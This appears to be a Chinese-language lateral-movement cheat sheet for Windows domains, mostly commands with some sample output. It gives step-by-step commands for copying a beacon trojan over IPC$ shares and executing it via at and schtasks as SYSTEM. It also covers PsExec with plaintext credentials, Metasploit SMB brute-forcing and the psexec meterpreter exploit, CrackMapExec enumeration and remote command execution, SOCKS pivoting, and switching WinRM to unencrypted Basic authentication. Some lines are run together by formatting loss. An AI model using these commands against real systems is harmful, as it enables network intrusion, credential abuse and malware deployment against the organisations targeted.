Windows2012
以下系统可使用at命令创建计划任务执行木马上线
net use \\192.168.91.178\ipc$ "Abcd1234" /user:god.org\administrator copy beacon.exe \\192.168.91.178\c$ at \\192.168.91.178 15:47 c:\beacon.exe net use \IP\ipc$ /del
Windows2012
以上系统使用
schtasks
命令创建计划任务执行木马上线
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
shell net use \\192.168.91.133\ipc$ "Abcd1234" /user:god.org\administrator shell copy beacon.exe \\192.168.91.133\c$ shell net use \\192.168.91.133\ipc$ /del 以远程系统的system用户运行c:\artifact.exe,计划任务的名字为test1 shell SCHTASKS /Create /S 192.168.91.133 /U administrator /P "Abcd1234" /SC ONCE /ST 14:56 /TN test1 /TR c:\artifact.exe /RU system shell SCHTASKS /Run /S 192.168.91.133 /U administrator /P "Abcd1234" /I /TN "test1" shell SCHTASKS /Delete /S 192.168.91.133 /U administrator /P "Abcd1234" /TN "test1" /F
常见问题:
1 2 3 4 5 6 7 8
5 :拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 51 :网络问题,Windows无法找到网络路径 53 :找不到网络路径,可能是IP地址错误. 目标未开机. 目标Lanmanserver服务未启动. 有防火墙等问题 67 :找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$ 1219 :提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除 1326 :账号密码错误 1792 :目标NetLogon服务未启动,连接域控常常会出现此情况 2242 :用户密码过期,目标有账号策略,强制定期更改密码
建立IPC失败的原因:
1 2 3 4
(a)目标系统不是NT或以上的操作系统 (b)对方没有打开IPC$共 享 (c)对方未开启139 . 445 端口,或者被防火墙屏蔽 (d)输出命令. 账号密码有错误
https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
1
PsExec64.exe \\192.168 .91.178 -u administrator -p Abcd1234 -s cmd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$msf > setg Proxies socks4:1xx.1xx.57.70:1080 msf > setg ReverseAllowProxy true msf > use auxiliary/scanner/smb/smb_version msf > set rhosts 192.168.91.0/24 msf > set threads 10 msf > run
1 2 3 4 5 6 7
use auxiliary/scanner/smb/smb_loginset threads 10set rhosts 192.168.91.0/24set smbdomain test set user_file /root/user.txt set pass_file /root/pass.txt run
1 2 3 4 5 6
use exploit/windows/smb/psexecset payload windows/meterpreter/bind_tcpset RHOSTS 192.168.91.11set smbuser administratorset smbpass Abcd1234!@ run
https://github.com/byt3bl33d3r/CrackMapExec
CrackMapExec(CME)是一款后渗透利用工具,可帮助自动化大型活动目录(AD)网络安全评估任务。尽管该项目主要用于攻击性目的(例如红队),但蓝队同样可以使用该工具来评估账户权限,模拟攻击,查找配置错误。
详细教学:
https://www.freebuf.com/sectool/184573.html
kali自带
其他环境安装
1 2 3 4 5 6 7 8 9 10 11 12
最方便: apt-get install crackmapexec 避免有坑: apt-get install -y libssl-dev libffi-dev python-dev build-essential pip install --user pipenv git clone https://github.com/byt3bl33d3r/CrackMapExec.gitcd CrackMapExec && pipe install -r requirements.txt pipenv shell python setup.py install
基本信息探测,可选协议有:
'smb', 'winrm', 'ldap', 'mssql', 'ssh'
1 2 3 4 5 6 7 8 9 10 11 12 13
基本探测 crackmapexec smb test.com crackmapexec smb 192.168.91.0/24 crackmapexec smb 192.168.91.0-77 192.168.91.0-20 crackmapexec smb ~/ip.txt 携带认证信息 crackmapexec smb 192.168.91.0 -u administrator -p 'Abcd1234' crackmapexec smb 192.168.91.0 -u='-administrator' -p='-Abcd1234' 执行命令 crackmapexec smb 192.168.3.144 -u administrator -p 'Abcd1234' -x whoami
1 2 3
┌──(root💀kali)-[/home/kali] └─ SMB 192.168.91.11 445 WIN-A5GPDCPJ7OT [*] x64 (name:WIN-A5GPDCPJ7OT) (domain:test.com) (signing:True) (SMBv1:True)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --sessions crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --shares crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --disk crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --loggedon-users crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --rid-brute crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --users crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --groups crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --local-groups crackmapexec smb 192.168.3.76-144 -u administrator -p 'Abcd1234' --pass-pol
1 2 3 4
$meterpreter > background$msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy$msf6 auxiliary(server/socks_proxy) > set SRVPORT 2233$msf6 auxiliary(server/socks_proxy) > run
1 2 3 4 5 6 7 8 9 10 11 12 13 14
winrm enumerate winrm/config/listener winrm quickconfig winrm e winrm/config/listener winrm set winrm/config/service/auth @{Basic="true" } winrm set winrm/config/service @{AllowUnencrypted="true" }
https://blog.csdn.net/qq_45924653/article/details/107986475
https://blog.csdn.net/qq_27446553/article/details/46008473
https://mp.weixin.qq.com/s/tAsPmsinh0Q3fBEFUuCX3Q
https://blog.csdn.net/lhh134/article/details/104333583